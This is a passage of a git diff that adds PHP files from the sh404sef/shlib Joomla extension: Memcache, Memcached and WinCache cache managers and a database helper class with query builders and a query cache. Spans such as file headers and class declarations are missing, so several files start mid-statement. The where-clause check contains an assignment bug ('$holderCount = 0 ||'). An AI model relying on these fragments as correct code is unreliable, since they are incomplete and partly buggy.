self::$_params['timeout'] : self::$_defaultTTL; + self::$_manager->init(self::$_params); + } + + return self::$_manager; + } + + protected static function _computeCacheId( $baseString, $dataset) { + + return self::getUniqueId() . '-' . $dataset . '-' .hash( 'sha1', $baseString); + } + +} \ No newline at end of file diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/cache/memcache.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/cache/memcache.php new file mode 100644 index 00000000..a4c2e7ff --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/cache/memcache.php @@ -0,0 +1,120 @@ +_instanceParams = $params; + + // maybe we're trying to call this a second time? + if( class_exists('Memcache') && $this->_server instanceof Memcache) { + return true; + } + + // first call, check setup and initialize server connection data + $this->enabled = extension_loaded('memcache'); + if(!$this->enabled) { + ShlSystem_Log::error( 'shlib', __METHOD__ . ': Memcache extension not loaded, unable to create cache manager using it'); + } + + // sort of validate params, using defaults if missing + if($this->enabled) { + $this->_instanceParams['host'] = empty($this->_instanceParams['host']) ? self::DEFAULT_HOST: $this->_instanceParams['host']; + $this->_instanceParams['port'] = empty($this->_instanceParams['port']) ? self::DEFAULT_PORT: $this->_instanceParams['port']; + $this->_instanceParams['persistent'] = empty($this->_instanceParams['persistent']) ? self::DEFAULT_PERSISTENT: $this->_instanceParams['persistent']; + $this->_instanceParams['weight'] = empty($this->_instanceParams['weight']) ? self::DEFAULT_WEIGHT: $this->_instanceParams['weight']; + $this->_instanceParams['timeout'] = empty($this->_instanceParams['timeout']) ? self::DEFAULT_TIMEOUT: $this->_instanceParams['timeout']; + $this->_instanceParams['retry_interval'] = empty($this->_instanceParams['retry_interval']) ? self::DEFAULT_RETRY_INTERVAL: $this->_instanceParams['retry_interval']; + $this->_instanceParams['enable_compression'] = empty($this->_instanceParams['enable_compression']) ? self::DEFAULT_COMPRESSION: $this->_instanceParams['enable_compression']; + + + // now establish connection + $this->_server = new Memcache; + @$this->_server->addServer( $this->_instanceParams['host'], $this->_instanceParams['port'], $this->_instanceParams['persistent'], $this->_instanceParams['weight'], $this->_instanceParams['timeout'], $this->_instanceParams['retry_interval']); + $this->enabled = 0 != @$this->_server->getServerStatus($this->_instanceParams['host'], $this->_instanceParams['port']); + if(!$this->enabled) { + ShlSystem_Log::error( 'shlib', __METHOD__ . ': Memcache server not responding at %s:%s', $this->_instanceParams['host'], $this->_instanceParams['port']); + } + } + + return true; + + } + + public function doRead( $id) { + + if($this->enabled) { + $read = @$this->_server->get( $id); + return $read; + } else { + throw new ShlException( __METHOD__ . ': trying to read from a disabled cache'); + } + } + + public function doStore( $id, $value, $ttl) { + + if($this->enabled) { + $stored = @$this->_server->set( $id, $value, $this->_instanceParams['enable_compression'], $ttl); + return $stored; + } else { + throw new ShlException( __METHOD__ . ': trying to write to a disabled cache'); + } + } + + public function doRemove( $id) { + + if($this->enabled) { + $removed = $this->_server->delete($id); + return $removed; + } else { + throw new ShlException( __METHOD__ . ': trying to delete from a disabled cache'); + } + } + + public function doClear() { + + if($this->enabled) { + $cleared = $this->_server->flush(); + return $cleared; + } else { + throw new ShlException( __METHOD__ . ': trying to clear a disabled cache'); + } + } + +} \ No newline at end of file diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/cache/memcached.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/cache/memcached.php new file mode 100644 index 00000000..10f6a1b2 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/cache/memcached.php @@ -0,0 +1,163 @@ +_instanceParams = $params; + + // maybe we're trying to call this a second time? + if (class_exists('Memcache') && $this->_server instanceof Memcache) + { + return true; + } + + // first call, check setup and initialize server connection data + $this->enabled = extension_loaded('memcached'); + if (!$this->enabled) + { + ShlSystem_Log::error('shlib', __METHOD__ . ': Memcached extension not loaded, unable to create cache manager using it'); + } + + // sort of validate params, using defaults if missing + if ($this->enabled) + { + $this->_instanceParams['host'] = empty($this->_instanceParams['host']) ? self::DEFAULT_HOST : $this->_instanceParams['host']; + $this->_instanceParams['port'] = empty($this->_instanceParams['port']) ? self::DEFAULT_PORT : $this->_instanceParams['port']; + $this->_instanceParams['weight'] = empty($this->_instanceParams['weight']) ? self::DEFAULT_WEIGHT : $this->_instanceParams['weight']; + $this->_instanceParams['persistent'] = empty($this->_instanceParams['persistent']) ? self::DEFAULT_PERSISTENT: $this->_instanceParams['persistent']; + + // now establish connection + $this->_connect($this->_instanceParams); + $this->enabled = Memcached::RES_SUCCESS == @$this->_server->getResultCode(); + if (!$this->enabled) + { + ShlSystem_Log::error('shlib', __METHOD__ . ': Unable to add Memcache server %s:%s', $this->_instanceParams['host'], + $this->_instanceParams['port']); + } + } + } + + /** + * Connect to server, adding a new instance only if none is found + * @param unknown $params + * @return boolean + */ + protected function _connect($params) + { + // create a connection + $this->_server = $params['persistent'] ? new Memcached('__') : new Memcached(); + $servers = $this->_server->getServerList(); + if (is_array($servers)) + { + foreach ($servers as $server) + { + if ($server['host'] == $params['host'] and $server['port'] == $params['port']) + { + // already connected + return true; + } + } + } + return @$this->_server->addServer($params['host'], $params['port'], $params['weight']); + } + + public function doRead($id) + { + + if ($this->enabled) + { + $read = @$this->_server->get($id); + return $read; + } + else + { + throw new ShlException(__METHOD__ . ': trying to read from a disabled cache'); + } + } + + public function doStore($id, $value, $ttl) + { + + if ($this->enabled) + { + $stored = @$this->_server->set($id, $value, $ttl); + if ($stored === false) + { + ShlSystem_Log::error('shlib', __METHOD__ . ': error storing memcached value %s - %s', @$this->_server->getResultCode(), + @$this->_server->getResultMessage()); + } + return $stored; + } + else + { + throw new ShlException(__METHOD__ . ': trying to write to a disabled cache'); + } + } + + public function doRemove($id) + { + + if ($this->enabled) + { + $removed = $this->_server->delete($id); + return $removed; + } + else + { + throw new ShlException(__METHOD__ . ': trying to delete from a disabled cache'); + } + } + + public function doClear() + { + + if ($this->enabled) + { + $cleared = $this->_server->flush(); + return $cleared; + } + else + { + throw new ShlException(__METHOD__ . ': trying to clear a disabled cache'); + } + } + +} diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/cache/wincache.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/cache/wincache.php new file mode 100644 index 00000000..78fca9f7 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/cache/wincache.php @@ -0,0 +1,85 @@ +_instanceParams = $params; + $this->enabled = extension_loaded('wincache'); + if(!$this->enabled) { + ShlSystem_Log::error( 'shlib', __METHOD__ . ': WinCache extension not loaded, unable to create cache manager using it'); + } + + return true; + + } + + public function doRead( $id) { + + if($this->enabled) { + $read = wincache_ucache_get( $id); + return $read; + } else { + throw new ShlException( __METHOD__ . ': trying to read from a disabled cache'); + } + } + + public function doStore( $id, $value, $ttl) { + + if($this->enabled) { + $stored = wincache_ucache_set( $id, $value, $ttl); + return $stored; + } else { + throw new ShlException( __METHOD__ . ': trying to write to a disabled cache'); + } + + } + + public function doRemove( $id) { + + if($this->enabled) { + $removed = wincache_ucache_delete( $id); + return $removed; + } else { + throw new ShlException( __METHOD__ . ': trying to delete from a disabled cache'); + } + } + + public function doClear( $group = 'user') { + + if($this->enabled) { + $cleared = wincache_ucache_clear(); + return $cleared; + } else { + throw new ShlException( __METHOD__ . ': trying to clear a disabled cache'); + } + } + +} diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/db/classes/class.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/db/classes/class.php new file mode 100644 index 00000000..861043c9 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/db/classes/class.php @@ -0,0 +1,1105 @@ + ?' + * with + * $nameQuoted = array( 'id', '#__table', 'counter') + * $quoted = array( 'test') + * + * will return + * + * select `id` from `#__table` where `counter` <> 'test' + * + * + * @param string $query + * @param array $nameQuoted + * @param array $quoted + * @param string $namePlaceHolder + * @param string $dataPlaceHolder + */ + public function shlQuoteQuery($query, $nameQuoted = array(), $quoted = array(), $namePlaceHolder = '??', $dataPlaceHolder = '?') + { + + $newQuery = ''; + + // name quoting + if (!empty($nameQuoted)) + { + // find placeholders + $sqlBits = explode($namePlaceHolder, $query); + $i = 0; + // replace each place holder by the matching value + foreach ($nameQuoted as $data) + { + $newQuery .= $sqlBits[$i]; + $newQuery .= $this->quoteName($data); + $i += 1; + } + if (isset($sqlBits[$i])) + { + $newQuery .= $sqlBits[$i]; + } + } + + if (strpos($newQuery, $namePlaceHolder) !== false) + { + throw new ShlDbException(__METHOD__ . ': ' . 'Invalid db query sent to queryQuote helper: ' . $query . '. Maybe missing some data.'); + } + + // name quoting + if (!empty($quoted)) + { + // find placeholders + $sqlBits = explode($dataPlaceHolder, $newQuery); + $newQuery = ''; + $i = 0; + // replace each place holder by the matching value + foreach ($quoted as $data) + { + $newQuery .= $sqlBits[$i]; + $newQuery .= $this->_shlPrepareData($data); + $i += 1; + } + if (isset($sqlBits[$i])) + { + $newQuery .= $sqlBits[$i]; + } + } + + return $newQuery; + } + + /** + * Prepare and set a query against the db object + * + * @param String $table The table name + * @param Array $aData An array of field to be inserted in the db ('columnName' => 'columnValue') + * @param String $mWhere Conditions. Taken as a litteral where clause ( WHERE `amount` > 100 ). + * @param Array $mWhere ( ie 'columnName' => 'columnValue') : a where clause is created like so : WHERE `columnName` = 'columnValue'. columnValue is escaped before being used + * @param Array $aWhereData Used only if $aWhere is a string. In such case, '?' place holders will be replaced by this array values, escaped + */ + public function shlSetInsertUpdateQuery($table, $aData, $mWhere = '', $aWhereData = array()) + { + + if ($this->shlIsRecord($table, $mWhere, $aWhereData)) + { + // update it + $this->shlSetUpdateQuery($table, $aData, $mWhere, $aWhereData); + } + else + { + // or insert it + $this->shlSetInsertQuery($table, $aData); + } + + return $this; + } + + /** + * Prepare and set a SELECT query against the db + * + * @param String $table The table name + * @param Array $aColList array of strings of columns to be fetched + * @param String $mWhere Conditions. Taken as a litteral where clause ( WHERE `amount` > 100 ). + * @param Array $mWhere ( ie 'columnName' => 'columnValue') : a where clause is created like so : WHERE `columnName` = 'columnValue'. columnValue is escaped before being used + * @param Array $aWhereData Used only if $aWhere is a string. In such case, '?' place holders will be replaced by this array values, escaped + * @param Array $orderBy, a list of columns to order the results + * @param Integer $offset, first line of result set to select + * @param Integer $lines, max number of lines to select + */ + public function shlSetSelectQuery($table, $aColList = array('*'), $mWhere = '', $aWhereData = array(), $orderBy = array(), $offset = 0, + $lines = 0) + { + + // sanitize + $aColList = empty($aColList) ? array('*') : $aColList; + $aColList = is_string($aColList) ? array($aColList) : $aColList; + + // which columns to fetch ? + $quotedColList = array(); + foreach ($aColList as $columnName) + { + $quotedColList[] = $columnName == '*' ? '*' : $this->quoteName($columnName); + } + $columns = implode(', ', $quotedColList); + + // where to look for + $where = $this->_shlBuildWhereClause($mWhere, $aWhereData); + + // order by clause + $orderByClause = $this->_shlBuildOrderByClause($orderBy); + + // lines limit clause + $limitClause = $this->_shlBuildLimitClause($offset, $lines); + + // set up the query + $this->setQuery('SELECT ' . $columns . ' FROM ' . $table . $where . $orderByClause . $limitClause . ';'); + + return $this; + } // end of setSelectQuery + + /** + * Prepare and set a select/count query against the db + * + * @param String $table The table name + * @param String $column an optional column to be counter + * @param String $mWhere Conditions. Taken as a litteral where clause ( WHERE `amount` > 100 ). + * @param Array $mWhere ( ie 'columnName' => 'columnValue') : a where clause is created like so : WHERE `columnName` = 'columnValue'. columnValue is escaped before being used + * @param Array $aWhereData Used only if $aWhere is a string. In such case, '?' place holders will be replaced by this array values, escaped + */ + public function shlSetCountQuery($table, $column = '*', $mWhere = '', $aWhereData = array()) + { + + // sanitize + $column = empty($column) || $column == '*' ? '*' : $this->quoteName($column); + + // where to look for + $where = $this->_shlBuildWhereClause($mWhere, $aWhereData); + + // set up the query + $this->setQuery('SELECT count(' . $column . ') FROM ' . $table . $where . ';'); + + return $this; + } // end of setSelectQuery + + /** + * Prepare and set an UPDATE query against the db + * + * @param String $table The table name + * @param Array $aData array of values pairs ( ie 'columnName' => 'columnValue') + * @param String $mWhere Conditions. Taken as a litteral where clause ( WHERE `amount` > 100 ). + * @param Array $mWhere ( ie 'columnName' => 'columnValue') : a where clause is created like so : WHERE `columnName` = 'columnValue'. columnValue is escaped before being used + * @param Array $aWhereData Used only if $aWhere is a string. In such case, '?' place holders will be replaced by this array values, escaped + */ + public function shlSetUpdateQuery($table, $aData, $mWhere = '', $aWhereData = array()) + { + + // which columns to set ? + $set = ''; + if (!empty($aData)) + { + foreach ($aData as $columnName => $columnValue) + { + $set .= ', ' . $this->quoteName($columnName) . '=' . $this->_shlPrepareData($columnValue); + } + // remove leading ', ' + $set = substr($set, 2); + } + + // check result + if (empty($set)) + { + return false; + } + + // where to look for + $where = $this->_shlBuildWhereClause($mWhere, $aWhereData); + + // set up the query + $this->setQuery('UPDATE ' . $this->quoteName($table) . ' SET ' . $set . $where . ';'); + + return $this; + } + + /** + * Prepare and set an INSERT query against the db + * + * @param String $table The table name + * @param Array $aData array of values pairs ( ie 'columnName' => 'columnValue') + */ + public function shlSetInsertQuery($table, $aData) + { + + // which columns to set ? + $columns = ''; + $values = ''; + if (!empty($aData)) + { + foreach ($aData as $columnName => $columnValue) + { + $columns .= ', ' . $this->quoteName($columnName); + $values .= ', ' . $this->_shlPrepareData($columnValue); + } + // remove leading ', ' + $columns = substr($columns, 2); + $values = substr($values, 2); + } + + // set up the query + $this->setQuery('INSERT INTO ' . $this->quoteName($table) . ' (' . $columns . ') VALUES (' . $values . ');'); + + return $this; + } + + /** + * Prepare and set a DELETE query against the db + * + * @param String $table The table name + * @param String $mWhere Conditions. Taken as a litteral where clause ( WHERE `amount` > 100 ). + * @param Array $mWhere ( ie 'columnName' => 'columnValue') : a where clause is created like so : WHERE `columnName` = 'columnValue'. columnValue is escaped before being used + * @param Array $aWhereData Used only if $aWhere is a string. In such case, '?' place holders will be replaced by this array values, escaped + */ + public function shlSetDeleteQuery($table, $mWhere = '', $aWhereData = array()) + { + + // where to look for + $where = $this->_shlBuildWhereClause($mWhere, $aWhereData); + + // set up the query + $this->setQuery('DELETE FROM ' . $this->quoteName($table) . $where . ';'); + + return $this; + } + + /** + * Returns true if a record exists matching 'where' condition + * + * @param String $table, the table to look into + * @param String $mWhere Conditions. Taken as a litteral where clause ( WHERE `amount` > 100 ). + * @param Array $mWhere ( ie 'columnName' => 'columnValue') : a where clause is created like so : WHERE `columnName` = 'columnValue'. columnValue is escaped before being used + * @param Array $aWhereData Used only if $aWhere is a string. In such case, '?' place holders will be replaced by this array values, escaped + */ + public function shlIsRecord($table, $mWhere = '', $aWhereData = array()) + { + + // where to look for + $where = $this->_shlBuildWhereClause($mWhere, $aWhereData); + + if (empty($where)) + { + return false; + } + + // set up the query and load result + $this->setQuery('SELECT count(*) FROM ' . $this->quoteName($table) . $where . ';'); + $result = $this->shlLoadResult(); + + return !empty($result); + + } + + /** + * Returns true if a record exists with a given Id + * + * @param String $table, the table to look into + * @param Integer $id, the id to look for + * @param String $idName, default to 'id', the columns to look into, if not 'id' + */ + public function shlIsRecordById($table, $id, $idName = 'id') + { + + $id = (int) $id; + + if (empty($id)) + { + return false; + } + + // get db and look up record + $this->shlSetSelectQuery($table, array($idName), array($id)); + $result = $this->shlLoadResult(); + + return !empty($result); + } + + /** + * Wrapper around J! method, which + * throws exceptions + */ + public function shlLoadResult() + { + + $this->_isShLibHelper = true; + $result = $this->loadResult(); + $error = $this->getErrorNum(); + if (!empty($error)) + { + throw new ShlDbException($this->getErrorMsg(), $error); + } + $this->_isShLibHelper = false; + return $result; + } + + /** + * Wrapper around J! method, which + * throws exceptions + * @deprecated Use shlLoadColumn() instead + */ + public function shlLoadResultArray($numinarray = 0) + { + + ShlSystem_Log::debug('shlib', 'Using deprecated ShlDbClass::shlLoadResultArray() method. Use ShlDbClass::shlLoadColumn() instead'); + return $this->shlLoadColumn($numinarray); + } + + /** + * Wrapper around J! method, which + * throws exceptions + */ + public function shlLoadColumn($offset = 0) + { + + $this->_isShLibHelper = true; + $array = $this->loadColumn($offset); + $error = $this->getErrorNum(); + if (!empty($error)) + { + throw new ShlDbException($this->getErrorMsg(), $error); + } + + $this->_isShLibHelper = false; + return $array; + } + + /** + * Wrapper around J! method, which + * throws exceptions + */ + public function shlLoadAssoc() + { + + $this->_isShLibHelper = true; + $result = $this->loadAssoc(); + $error = $this->getErrorNum(); + if (!empty($error)) + { + throw new ShlDbException($this->getErrorMsg(), $error); + } + + $this->_isShLibHelper = false; + return $result; + } + + /** + * Wrapper around J! method, which + * throws exceptions + */ + public function shlLoadAssocList($key = '') + { + + $this->_isShLibHelper = true; + $result = $this->loadAssocList($key); + $error = $this->getErrorNum(); + if (!empty($error)) + { + throw new ShlDbException($this->getErrorMsg(), $error); + } + + $this->_isShLibHelper = false; + + return $result; + } + + /** + * Wrapper around J! method, which + * throws exceptions + */ + public function shlLoadObject($className = 'stdClass') + { + + $this->_isShLibHelper = true; + $object = $this->loadObject($className); + $error = $this->getErrorNum(); + if (!empty($error)) + { + throw new ShlDbException($this->getErrorMsg(), $error); + } + + $this->_isShLibHelper = false; + return $object; + } + + /** + * Wrapper around J! method, which + * throws exceptions + */ + public function shlLoadObjectList($key = '', $className = 'stdClass') + { + + $this->_isShLibHelper = true; + $objectList = $this->loadObjectList($key, $className); + $error = $this->getErrorNum(); + if (!empty($error)) + { + throw new ShlDbException($this->getErrorMsg(), $error); + } + + $this->_isShLibHelper = false; + return $objectList; + } + + /** + * Wrapper around J! method, which + * throws exceptions + */ + public function shlQuery() + { + + return $this->shlExecute(); + + } + + /** + * Wrapper around J! method, which + * throws exceptions + */ + public function shlExecute() + { + + $this->_isShLibHelper = true; + $status = $this->execute(); + $error = empty($status) ? $this->getErrorNum() : ''; + if (!empty($error)) + { + throw new ShlDbException($this->getErrorMsg(), $error); + } + + $this->_isShLibHelper = false; + return $this; + } + + /** + * Base J! object overrides. These 3 methods are shortcuts + * implemented by Joomla! through a __call() magic method + * As we override Joomla! own __call() method + * we must re-implement those ourselves for B/C compat + * + */ + + public function q() + { + $args = func_get_args(); + return $this->quote($args[0], isset($args[1]) ? $args[1] : true); + } + + public function nq() + { + $args = func_get_args(); + return $this->quoteName($args[0]); + } + + public function qn() + { + $args = func_get_args(); + return $this->quoteName($args[0]); + } + + /** + * Base J! object overrides, to allow query caching + * + */ + + /** + * Method to get the first row of the result set from the database query as an associative array + * of ['field_name' => 'row_value']. + * + * @return mixed The return value or null if the query failed. + * + * @since 11.1 + * @throws JDatabaseException + */ + public function loadAssoc() + { + + // check cache + $cachedValue = $this->_shlQueryCacheRead('loadAssoc'); + if ($cachedValue !== false) + { + return $cachedValue; + } + + // call decorated object + $read = $this->_decorated->loadAssoc(); + + // and store in cache + $this->_shlQueryCacheStore($read, 'loadAssoc'); + + return $read; + } + + /** + * Method to get an array of the result set rows from the database query where each row is an associative array + * of ['field_name' => 'row_value']. The array of rows can optionally be keyed by a field name, but defaults to + * a sequential numeric array. + * + * NOTE: Chosing to key the result array by a non-unique field name can result in unwanted + * behavior and should be avoided. + * + * @param string $key The name of a field on which to key the result array. + * @param string $column An optional column name. Instead of the whole row, only this column value will be in + * the result array. + * + * @return mixed The return value or null if the query failed. + * + * @since 11.1 + * @throws JDatabaseException + */ + public function loadAssocList($key = null, $column = null) + { + + // check cache + $cachedValue = $this->_shlQueryCacheRead('loadAssocList'); + if ($cachedValue !== false) + { + return $cachedValue; + } + + // call decorated object + $read = $this->_decorated->loadAssocList($key, $column); + + // and store in cache + $this->_shlQueryCacheStore($read, 'loadAssocList'); + + return $read; + } + + /** + * Method to get an array of values from the $offset field in each row of the result set from + * the database query. + * + * @param integer $offset The row offset to use to build the result array. + * + * @return mixed The return value or null if the query failed. + * + * @since 11.1 + * @throws JDatabaseException + */ + public function loadColumn($offset = 0) + { + // check cache + $cachedValue = $this->_shlQueryCacheRead('loadColumn'); + if ($cachedValue !== false) + { + return $cachedValue; + } + + // call decorated object + $read = $this->_decorated->loadColumn($offset); + + // and store in cache + $this->_shlQueryCacheStore($read, 'loadColumn'); + + return $read; + } + + /** + * Method to get the first row of the result set from the database query as an object. + * + * @param string $class The class name to use for the returned row object. + * + * @return mixed The return value or null if the query failed. + * + * @since 11.1 + * @throws JDatabaseException + */ + public function loadObject($class = 'stdClass') + { + + // check cache + $cachedValue = $this->_shlQueryCacheRead('loadObject'); + if ($cachedValue !== false) + { + return $cachedValue; + } + + // call decorated object + $read = $this->_decorated->loadObject($class); + + // and store in cache + $this->_shlQueryCacheStore($read, 'loadObject'); + + return $read; + } + + /** + * Method to get an array of the result set rows from the database query where each row is an object. The array + * of objects can optionally be keyed by a field name, but defaults to a sequential numeric array. + * + * NOTE: Choosing to key the result array by a non-unique field name can result in unwanted + * behavior and should be avoided. + * + * @param string $key The name of a field on which to key the result array. + * @param string $class The class name to use for the returned row objects. + * + * @return mixed The return value or null if the query failed. + * + * @since 11.1 + * @throws JDatabaseException + */ + public function loadObjectList($key = '', $class = 'stdClass') + { + // check cache + $cachedValue = $this->_shlQueryCacheRead('loadObjectList'); + if ($cachedValue !== false) + { + return $cachedValue; + } + + // call decorated object + $read = $this->_decorated->loadObjectList($key, $class); + + // and store in cache + $this->_shlQueryCacheStore($read, 'loadObjectList'); + + return $read; + } + + /** + * Method to get the first field of the first row of the result set from the database query. + * + * @return mixed The return value or null if the query failed. + * + * @since 11.1 + * @throws JDatabaseException + */ + public function loadResult() + { + // check cache + $cachedValue = $this->_shlQueryCacheRead('loadResult'); + if ($cachedValue !== false) + { + return $cachedValue; + } + + // call decorated object + $read = $this->_decorated->loadResult(); + + // and store in cache + $this->_shlQueryCacheStore($read, 'loadResult'); + + return $read; + } + + /** + * Method to get the first row of the result set from the database query as an array. Columns are indexed + * numerically so the first column in the result set would be accessible via $row[0], etc. + * + * @return mixed The return value or null if the query failed. + * + * @since 11.1 + * @throws JDatabaseException + */ + public function loadRow() + { + // check cache + $cachedValue = $this->_shlQueryCacheRead('loadRow'); + if ($cachedValue !== false) + { + return $cachedValue; + } + + // call decorated object + $read = $this->_decorated->loadRow(); + + // and store in cache + $this->_shlQueryCacheStore($read, 'loadRow'); + + return $read; + } + + /** + * Method to get an array of the result set rows from the database query where each row is an array. The array + * of objects can optionally be keyed by a field offset, but defaults to a sequential numeric array. + * + * NOTE: Choosing to key the result array by a non-unique field can result in unwanted + * behavior and should be avoided. + * + * @param string $key The name of a field on which to key the result array. + * + * @return mixed The return value or null if the query failed. + * + * @since 11.1 + * @throws JDatabaseException + */ + public function loadRowList($key = null) + { + // check cache + $cachedValue = $this->_shlQueryCacheRead('loadRowList'); + if ($cachedValue !== false) + { + return $cachedValue; + } + + // call decorated object + $read = $this->_decorated->loadRowList($key); + + // and store in cache + $this->_shlQueryCacheStore($read, 'loadRowList'); + + return $read; + } + + /** + * Workarounds: we have to implement those 2 proxies to cover for + * Joomla!'s implementation that uses reference for one of the + * method params. This is not compatible with our decorator + * technique, which uses __call() and call_user_func() + * that cannot handle references. + */ + public function updateObject($table, &$object, $key, $nulls = false) + { + return $this->_decorated->updateObject($table, $object, $key, $nulls); + } + public function insertObject($table, &$object, $key = null) + { + return $this->_decorated->insertObject($table, $object, $key); + } + + /** + * Prepare data to be inserted in an sql statement + * + * @param mixed $data + */ + protected function _shlPrepareData($data) + { + + // from Ron Baldwin + // Only quote string types + $type = gettype($data); + if ($type == 'string') + { + $ret = $this->quote($data); + } + else if ($type == 'double') + { + $ret = str_replace(',', '.', $data); // locales fix so 1.1 does not get converted to 1,1 + } + else if ($type == 'boolean') + { + $ret = $data ? '1' : '0'; + } + else if ($type == 'object') + { + if (method_exists($data, '__toString')) + { + $ret = $this->quote($data->__toString()); + } + else + { + $ret = $this->quote((string) $data); + } + } + else if ($data === null) + { + $ret = 'NULL'; + } + else + { + $ret = $data; + } + + return $ret; + } + + /** + * Build a where clause + * + * @param String $mWhere Conditions. Taken as a litteral where clause ( WHERE `amount` > 100 ). + * @param Array $mWhere ( ie 'columnName' => 'columnValue') : a where clause is created like so : WHERE `columnName` = 'columnValue'. columnValue is escaped before being used + * @param Array $aWhereData Used only if $aWhere is a string. In such case, '?' place holders will be replaced by this array values, escaped + */ + protected function _shlBuildWhereClause($mWhere = '', $aWhereData = array()) + { + + // where clause + if (is_string($mWhere)) + { + // litteral clause, find ? place holders + if (!is_array($aWhereData)) + $aWhereData = array($aWhereData); + $holderCount = substr_count($mWhere, '?'); + if ($holderCount = 0 || $holderCount != count($aWhereData)) + { + // there is no ? place holders, or their number does not match the data array passed + throw new ShlDbException( + __METHOD__ . ': ' . 'Internal error: trying to build invalid db query where clause [ ' . serialize($mWhere) . ' ] [ ' + . serialize($aWhereData) . ' ]', 500); + } + else + { + // we have ? placeholders and their number equals that of data passed + $where = ''; + + // find placeholders + $sqlBits = explode('?', $mWhere); + $i = 0; + // replace each place holder by the matching value + foreach ($aWhereData as $data) + { + $where .= $sqlBits[$i]; + $where .= $this->_shlPrepareData($data); + $i += 1; + } + if (isset($sqlBits[$i])) + { + $where .= $sqlBits[$i]; + } + } + } + elseif (is_array($mWhere)) + { + // an array of columns/values, we must turn into a where clause + $where = ''; + foreach ($mWhere as $columns => $value) + { + $where .= ' AND ' . $this->quoteName($columns) . '=' . $this->_shlPrepareData($value); + } + // remove initial AND + $where = substr($where, 5); + } + else + { + $where = ''; + } + + return empty($where) ? '' : ' WHERE ' . $where; + } + + /** + * Builds an ORDER BY sql statement + * + * $orderBy = 'title'; + * $orderBy = array( 'extension' => '', 'title' => 'desc'); + * $orderBy = array( 'extension', 'title'); + * + * @param String $orderBy name of unique column to sort with, direction is always ASC + * @param Array $orderBy a list of column names to order by, direction is always asc + * @param Array $orderBy a list of key => values, where key is a column name, and value is either '', 'asc' or 'desc' + */ + protected function _shlBuildOrderByClause($orderBy) + { + + if (empty($orderBy)) + { + return ''; + } + + $clause = ''; + + // 1: $orderBy is a string + if (is_string($orderBy)) + { + $clause = $this->quoteName($orderBy); + } + else if (is_array($orderBy)) + { + foreach ($orderBy as $key => $value) + { + if (is_int($key)) + { + // 2 : $orderBy is an array of strings + // use directly, always with no direction + $clause .= ', ' . $this->quoteName((string) $value); + } + else + { + // 3 : $orderBy is an array of column names with direction + $clause .= ', ' . $this->quoteName($key) . (empty($value) ? '' : $this->escape($value)); + } + } + $clause = empty($clause) ? '' : substr($clause, 2); + } + + // put everything together + $clause = empty($clause) ? '' : ' ORDER BY ' . $clause; + + return $clause; + } + + /** + * Builds a LIMIT sql statement + * + * @param Integer $offset, the line in result set to start with + * @param Integer $lines, the max number of lines in result set to return + */ + protected function _shlBuildLimitClause($offset, $lines) + { + + if (empty($offset) && empty($lines)) + { + return ''; + } + + $clause = ' LIMIT '; + if (!empty($offset)) + { + $clause .= $this->_shlPrepareData($offset); + } + if (!empty($lines)) + { + $clause .= (empty($offset) ? '' : ', ') . $this->_shlPrepareData($lines); + } + + return $clause; + } + + /** + * Store the result of a db query into the query cache + * (if such feature is present and enabled) + * + * @param mixed $value the value to be stored + * @param string $prefix a prefix string to identify db operation, on top of sql query + * @return boolean $stored true if successfully stored, false if not + * @throws ShlDbException in case of cache internal error. Cache will be disabled if this happens (for current db instance) + * + */ + protected function _shlQueryCacheStore($value, $prefix) + { + + $stored = false; + + if ($this->_shlCanCache()) + { + try + { + // cache id is made of db instance prepended with full sql query + $stored = ShlCache_Manager::store($this->instanceName . $prefix . $this->getQuery(), self::CACHE_STATS_DATASET_NAME, $value); + } + catch (Exception $e) + { + // there was an error: log that and disable cache for this instance + $this->queryCacheEnabled = false; + ShlSystem_Log::error('shlib', + __METHOD__ . ': error storing data in query cache for instance %s, disabling cache for this instance (%s)', $this->instanceName, + $e->getMessage()); + } + } + + return $stored; + } + + /** + * Search the query cache for the previously stored + * result of a given database sql query + * (if such cache feature is present and enabled) + * The desired query must have been already prepared and set + * into the ShlDbClass database object passed to this method + * + * @param string $prefix a prefix string to identify db operation, on top of sql query + * @return mixed $read false if nothing found, whatever was found in the cache otherwise + * @throws ShlDbException in case of cache internal error. Cache will be disabled if this happens (for current db instance) + */ + protected function _shlQueryCacheRead($prefix) + { + + $read = false; + if ($this->_shlCanCache()) + { + try + { + // cache id is made of db instance prepended with full sql query + $read = ShlCache_Manager::read($this->instanceName . $prefix . $this->getQuery(), self::CACHE_STATS_DATASET_NAME); + } + catch (Exception $e) + { + // there was an error: log that and disable cache for this instance + $this->queryCacheEnabled = false; + ShlSystem_Log::error('shlib', + __METHOD__ . ': error reading data in query cache for instance %s, disabling cache for this instance (%s)', $this->instanceName, + $e->getMessage()); + } + } + + return is_null($read) ? false : $read; + } + + /** + * Decide whether current opeation can read from/stored to + * query cache. Query cache must be enabled globally, but also, + * if this is a query coming directly from Joomla (ie not + * through our db helper class), query caching from Joomla should + * be enabled as well. + * Second condition is tha the query does not operate + * on one of the exluded db tables + */ + protected function _shlCanCache() + { + + // 1st: enabled/disabled conditions + if (!$this->queryCacheEnabled) + { + return false; + } + if (!$this->_isShLibHelper && !$this->queryCacheEnabledForJoomla) + { + return false; + } + $app = JFactory::getApplication(); + if (!$app->isSite()) + { + return false; + } + + // 2nd: does the query have excluded tables? + $sql = $this->getQuery(); + foreach ($this->queryCacheTableExclusionList as $tableName) + { + if (strpos($sql, $tableName) !== false) + { + return false; + } + } + + // various conditions + // if Joomla! content/categories queries with publish_up/down fields + // don't cache, as these fields are changing every seconds + if (strpos($sql, 'publish_up <=') !== false || strpos($sql, '>= a.publish_up') !== false || strpos($sql, 'publish_down >=') !== false + || strpos($sql, '<= a.publish_down') !== false) + { + return false; + } + + return true; + } +} diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/db/classes/dbrecord.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/db/classes/dbrecord.php new file 